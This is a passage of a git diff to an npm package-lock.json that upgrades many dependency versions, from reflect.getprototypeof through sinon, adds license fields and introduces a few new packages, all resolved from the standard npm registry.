-      "integrity": "sha512-sy6TXMN+hnP/wMy+ISxg3krXx7BAtWVO4UouuCN/ziM9UEne0euamVNafDfvC83bRNr95y0V5iijeDQFUNpvrg==",
-      "dev": true,
+    "node_modules/reflect.getprototypeof": {
+      "version": "1.0.10",
+      "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz",
+      "integrity": "sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "set-function-name": "^2.0.0"
+        "call-bind": "^1.0.8",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.9",
+        "es-errors": "^1.3.0",
+        "es-object-atoms": "^1.0.0",
+        "get-intrinsic": "^1.2.7",
+        "get-proto": "^1.0.1",
+        "which-builtin-type": "^1.2.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/regexp.prototype.flags": {
+      "version": "1.5.4",
+      "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz",
+      "integrity": "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bind": "^1.0.8",
+        "define-properties": "^1.2.1",
+        "es-errors": "^1.3.0",
+        "get-proto": "^1.0.1",
+        "gopd": "^1.2.0",
+        "set-function-name": "^2.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -11592,6 +13038,7 @@
       "resolved": "https://registry.npmjs.org/release-zalgo/-/release-zalgo-1.0.0.tgz",
       "integrity": "sha512-gUAyHVHPPC5wdqX/LG4LWtRYtgjxyX78oanFNTMMyFEfOqdC54s3eE82imuWKbOeqYht2CrNf64Qb8vgmmtZGA==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "es6-error": "^4.0.1"
       },
@@ -11603,7 +13050,8 @@
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/remove-trailing-separator/-/remove-trailing-separator-1.1.0.tgz",
       "integrity": "sha512-/hS+Y0u3aOfIETiaiirUFwDBDzmXPvO+jAfKTitUngIPzdKc6Z0LoFjM/CK5PL4C+eKwHohlHAb6H0VFfmmUsw==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/request": {
       "version": "2.88.2",
@@ -11611,6 +13059,7 @@
       "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==",
       "deprecated": "request has been deprecated, see https://github.com/request/request/issues/3142",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "aws-sign2": "~0.7.0",
         "aws4": "^1.8.0",
@@ -11642,6 +13091,7 @@
       "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz",
       "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "asynckit": "^0.4.0",
         "combined-stream": "^1.0.6",
@@ -11657,6 +13107,7 @@
       "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==",
       "deprecated": "Please upgrade  to version 7 or higher.  Older versions may use Math.random() in certain circumstances, which is known to be problematic.  See https://v8.dev/blog/math-random for details.",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "uuid": "bin/uuid"
       }
@@ -11666,6 +13117,7 @@
       "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
       "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -11674,6 +13126,7 @@
       "version": "2.0.2",
       "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
       "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -11682,21 +13135,26 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz",
       "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/resolve": {
-      "version": "1.22.8",
-      "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz",
-      "integrity": "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==",
+      "version": "1.22.10",
+      "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.10.tgz",
+      "integrity": "sha512-NPRy+/ncIMeDlTAsuqwKIiferiawhefFJtkNSW0qZJEqMEb+qBt/77B/jGeeek+F0uOeN05CDa6HXbbIgtVX4w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "is-core-module": "^2.13.0",
+        "is-core-module": "^2.16.0",
         "path-parse": "^1.0.7",
         "supports-preserve-symlinks-flag": "^1.0.0"
       },
       "bin": {
         "resolve": "bin/resolve"
       },
+      "engines": {
+        "node": ">= 0.4"
+      },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
@@ -11704,13 +13162,15 @@
     "node_modules/resolve-alpn": {
       "version": "1.2.1",
       "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.2.1.tgz",
-      "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g=="
+      "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g==",
+      "license": "MIT"
     },
     "node_modules/resolve-from": {
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
       "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -11720,6 +13180,7 @@
       "resolved": "https://registry.npmjs.org/resolve-global/-/resolve-global-1.0.0.tgz",
       "integrity": "sha512-zFa12V4OLtT5XUX/Q4VLvTfBf+Ok0SPc1FNGM/z9ctUdiU618qwKpWnd0CHs3+RqROfyEg/DhuHbMWYqcgljEw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "global-dirs": "^0.1.1"
       },
@@ -11731,6 +13192,7 @@
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.1.tgz",
       "integrity": "sha512-4gl03wn3hj1HP3yzgdI7d3lCkF95F21Pz4BPGvKHinyQzALR5CapwC8yIi0Rh58DEMQ/SguC03wFj2k0M/mHhw==",
+      "license": "MIT",
       "dependencies": {
         "lowercase-keys": "^2.0.0"
       },
@@ -11742,6 +13204,7 @@
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz",
       "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==",
+      "license": "MIT",
       "dependencies": {
         "onetime": "^5.1.0",
         "signal-exit": "^3.0.2"
@@ -11751,25 +13214,29 @@
       }
     },
     "node_modules/reusify": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz",
-      "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz",
+      "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==",
+      "license": "MIT",
       "engines": {
         "iojs": ">=1.0.0",
         "node": ">=0.10.0"
       }
     },
     "node_modules/rfdc": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.3.0.tgz",
-      "integrity": "sha512-V2hovdzFbOi77/WajaSMXk2OLm+xNIeQdMMuB7icj7bk6zi2F8GGAxigcnDFpJHbNyNcgyJDiP+8nOrY5cZGrA==",
-      "dev": true
+      "version": "1.4.1",
+      "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.4.1.tgz",
+      "integrity": "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/rimraf": {
       "version": "3.0.2",
       "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
       "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+      "deprecated": "Rimraf versions prior to v4 are no longer supported",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "glob": "^7.1.3"
       },
@@ -11784,6 +13251,7 @@
       "version": "2.4.1",
       "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.4.1.tgz",
       "integrity": "sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.12.0"
       }
@@ -11806,6 +13274,7 @@
           "url": "https://feross.org/support"
         }
       ],
+      "license": "MIT",
       "dependencies": {
         "queue-microtask": "^1.2.2"
       }
@@ -11828,27 +13297,30 @@
           "url": "https://feross.org/support"
         }
       ],
+      "license": "MIT",
       "dependencies": {
         "queue-microtask": "^1.2.2"
       }
     },
     "node_modules/rxjs": {
-      "version": "7.8.1",
-      "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.8.1.tgz",
-      "integrity": "sha512-AA3TVj+0A2iuIoQkWEK/tqFjBq2j+6PO6Y0zJcvzLAFhEFIO3HL0vls9hWLncZbAAbK0mar7oZ4V079I/qPMxg==",
+      "version": "7.8.2",
+      "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.8.2.tgz",
+      "integrity": "sha512-dhKf903U/PQZY6boNNtAGdWbG85WAbjT/1xYoZIC7FAY0yWapOBQVsVrDl58W86//e1VpMNBtRV4MaXfdMySFA==",
+      "license": "Apache-2.0",
       "dependencies": {
         "tslib": "^2.1.0"
       }
     },
     "node_modules/safe-array-concat": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.0.1.tgz",
-      "integrity": "sha512-6XbUAseYE2KtOuGueyeobCySj9L4+66Tn6KQMOPQJrAJEowYKW/YR/MGJZl7FdydUdaFu4LYyDZjxf4/Nmo23Q==",
-      "dev": true,
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.1.3.tgz",
+      "integrity": "sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "get-intrinsic": "^1.2.1",
-        "has-symbols": "^1.0.3",
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.2",
+        "get-intrinsic": "^1.2.6",
+        "has-symbols": "^1.1.0",
         "isarray": "^2.0.5"
       },
       "engines": {
@@ -11862,7 +13334,7 @@
       "version": "2.0.5",
       "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",
       "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==",
-      "dev": true
+      "license": "MIT"
     },
     "node_modules/safe-buffer": {
       "version": "5.2.1",
@@ -11881,17 +13353,43 @@
           "type": "consulting",
           "url": "https://feross.org/support"
         }
-      ]
+      ],
+      "license": "MIT"
+    },
+    "node_modules/safe-push-apply": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/safe-push-apply/-/safe-push-apply-1.0.0.tgz",
+      "integrity": "sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==",
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "isarray": "^2.0.5"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/safe-push-apply/node_modules/isarray": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",
+      "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==",
+      "license": "MIT"
     },
     "node_modules/safe-regex-test": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.0.0.tgz",
-      "integrity": "sha512-JBUUzyOgEwXQY1NuPtvcj/qcBDbDmEvWufhlnXZIm75DEHp+afM1r1ujJpJsV/gSM4t59tpDyPi1sd6ZaPFfsA==",
-      "dev": true,
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.1.0.tgz",
+      "integrity": "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "get-intrinsic": "^1.1.3",
-        "is-regex": "^1.1.4"
+        "call-bound": "^1.0.2",
+        "es-errors": "^1.3.0",
+        "is-regex": "^1.2.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -11900,17 +13398,20 @@
     "node_modules/safer-buffer": {
       "version": "2.1.2",
       "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
-      "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
+      "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
+      "license": "MIT"
     },
     "node_modules/sax": {
       "version": "1.2.1",
       "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.1.tgz",
-      "integrity": "sha512-8I2a3LovHTOpm7NV5yOyO8IHqgVsfK4+UuySrXU8YXkSRX7k6hCV9b3HrkKCr3nMpgj+0bmocaJJWpvp1oc7ZA=="
+      "integrity": "sha512-8I2a3LovHTOpm7NV5yOyO8IHqgVsfK4+UuySrXU8YXkSRX7k6hCV9b3HrkKCr3nMpgj+0bmocaJJWpvp1oc7ZA==",
+      "license": "ISC"
     },
     "node_modules/seek-bzip": {
       "version": "1.0.6",
       "resolved": "https://registry.npmjs.org/seek-bzip/-/seek-bzip-1.0.6.tgz",
       "integrity": "sha512-e1QtP3YL5tWww8uKaOCQ18UxIT2laNBXHjV/S2WYCiK4udiv8lkG89KRIoCjUagnAmCBurjF4zEVX2ByBbnCjQ==",
+      "license": "MIT",
       "dependencies": {
         "commander": "^2.8.1"
       },
@@ -11922,15 +13423,14 @@
     "node_modules/seek-bzip/node_modules/commander": {
       "version": "2.20.3",
       "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
-      "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="
+      "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==",
+      "license": "MIT"
     },
     "node_modules/semver": {
-      "version": "7.5.4",
-      "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz",
-      "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==",
-      "dependencies": {
-        "lru-cache": "^6.0.0"
-      },
+      "version": "7.7.2",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz",
+      "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==",
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       },
@@ -11942,13 +13442,15 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/semver-compare/-/semver-compare-1.0.0.tgz",
       "integrity": "sha512-YM3/ITh2MJ5MtzaM429anh+x2jiLVjqILF4m4oyQB18W7Ggea7BfqdH/wGMK7dDiMghv/6WG7znWMwUDzJiXow==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/semver-regex": {
       "version": "3.1.4",
       "resolved": "https://registry.npmjs.org/semver-regex/-/semver-regex-3.1.4.tgz",
       "integrity": "sha512-6IiqeZNgq01qGf0TId0t3NvKzSvUsjcpdEO3AQNeIjR6A2+ckTnQlDpl4qu1bjRv0RzN3FP9hzFmws3lKqRWkA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       },
@@ -11961,6 +13463,7 @@
       "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz",
       "integrity": "sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "randombytes": "^2.1.0"
       }
@@ -11969,31 +13472,50 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz",
       "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/set-function-length": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.1.1.tgz",
-      "integrity": "sha512-VoaqjbBJKiWtg4yRcKBQ7g7wnGnLV3M8oLvVWwOk2PdYY6PEFegR1vezXR0tw6fZGF9csVakIRjrJiy2veSBFQ==",
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz",
+      "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==",
+      "license": "MIT",
       "dependencies": {
-        "define-data-property": "^1.1.1",
-        "get-intrinsic": "^1.2.1",
+        "define-data-property": "^1.1.4",
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2",
+        "get-intrinsic": "^1.2.4",
         "gopd": "^1.0.1",
-        "has-property-descriptors": "^1.0.0"
+        "has-property-descriptors": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
       }
     },
     "node_modules/set-function-name": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.1.tgz",
-      "integrity": "sha512-tMNCiqYVkXIZgc2Hnoy2IvC/f8ezc5koaRFkCjrpWzGpCd3qbZXPzVy9MAZzK1ch/X0jvSkojys3oqJN0qCmdA==",
-      "dev": true,
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.2.tgz",
+      "integrity": "sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==",
+      "license": "MIT",
       "dependencies": {
-        "define-data-property": "^1.0.1",
+        "define-data-property": "^1.1.4",
+        "es-errors": "^1.3.0",
         "functions-have-names": "^1.2.3",
-        "has-property-descriptors": "^1.0.0"
+        "has-property-descriptors": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/set-proto": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/set-proto/-/set-proto-1.0.0.tgz",
+      "integrity": "sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==",
+      "license": "MIT",
+      "dependencies": {
+        "dunder-proto": "^1.0.1",
+        "es-errors": "^1.3.0",
+        "es-object-atoms": "^1.0.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -12002,12 +13524,14 @@
     "node_modules/setimmediate": {
       "version": "1.0.5",
       "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz",
-      "integrity": "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA=="
+      "integrity": "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==",
+      "license": "MIT"
     },
     "node_modules/shebang-command": {
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz",
       "integrity": "sha512-EV3L1+UQWGor21OmnvojK36mhg+TyIKDh3iFBKBohr5xeXIhNBcx8oWdgkTEEQ+BEFFYdLRuqMfd5L84N1V5Vg==",
+      "license": "MIT",
       "dependencies": {
         "shebang-regex": "^1.0.0"
       },
@@ -12019,18 +13543,78 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz",
       "integrity": "sha512-wpoSFAxys6b2a2wHZ1XpDSgD7N9iVjg29Ph9uV/uaP9Ex/KXlkTZTeddxDPSYQpgvzKLGJke2UU0AzoGCjNIvQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
     },
     "node_modules/side-channel": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz",
-      "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz",
+      "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.0",
-        "get-intrinsic": "^1.0.2",
-        "object-inspect": "^1.9.0"
+        "es-errors": "^1.3.0",
+        "object-inspect": "^1.13.3",
+        "side-channel-list": "^1.0.0",
+        "side-channel-map": "^1.0.1",
+        "side-channel-weakmap": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/side-channel-list": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz",
+      "integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==",
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "object-inspect": "^1.13.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/side-channel-map": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",
+      "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.2",
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.5",
+        "object-inspect": "^1.13.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/side-channel-weakmap": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",
+      "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.2",
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.5",
+        "object-inspect": "^1.13.3",
+        "side-channel-map": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -12039,7 +13623,8 @@
     "node_modules/signal-exit": {
       "version": "3.0.7",
       "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",
-      "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ=="
+      "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==",
+      "license": "ISC"
     },
     "node_modules/simple-concat": {
       "version": "1.0.1",
@@ -12059,7 +13644,8 @@
           "type": "consulting",
           "url": "https://feross.org/support"
         }
-      ]
+      ],
+      "license": "MIT"
     },
     "node_modules/simple-get": {
       "version": "4.0.1",
@@ -12080,6 +13666,7 @@
           "url": "https://feross.org/support"
         }
       ],
+      "license": "MIT",
       "dependencies": {
         "decompress-response": "^6.0.0",
         "once": "^1.3.1",
@@ -12087,13 +13674,14 @@
       }
     },
     "node_modules/simple-git": {
-      "version": "3.21.0",
-      "resolved": "https://registry.npmjs.org/simple-git/-/simple-git-3.21.0.tgz",
-      "integrity": "sha512-oTzw9248AF5bDTMk9MrxsRzEzivMlY+DWH0yWS4VYpMhNLhDWnN06pCtaUyPnqv/FpsdeNmRqmZugMABHRPdDA==",
+      "version": "3.28.0",
+      "resolved": "https://registry.npmjs.org/simple-git/-/simple-git-3.28.0.tgz",
+      "integrity": "sha512-Rs/vQRwsn1ILH1oBUy8NucJlXmnnLeLCfcvbSehkPzbv3wwoFWIdtfd6Ndo6ZPhlPsCZ60CPI4rxurnwAa+a2w==",
+      "license": "MIT",
       "dependencies": {
         "@kwsites/file-exists": "^1.1.1",
         "@kwsites/promise-deferred": "^1.1.1",
-        "debug": "^4.3.4"
+        "debug": "^4.4.0"
       },
       "funding": {
         "type": "github",
@@ -12106,6 +13694,7 @@
       "integrity": "sha512-KvOrztAVqzSJWMDoxM4vM+GPys1df2VBoXm+YciyB/OLMamfS3VXh3oGh5WtrAGSzrgczNWFFY22oKb7Fi5eeA==",
       "deprecated": "16.1.1",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "@sinonjs/commons": "^1.8.3",
         "@sinonjs/fake-timers": "^9.1.2",
@@ -12124,6 +13713,7 @@
       "resolved": "https://registry.npmjs.org/sinon-chai/-/sinon-chai-3.7.0.tgz",
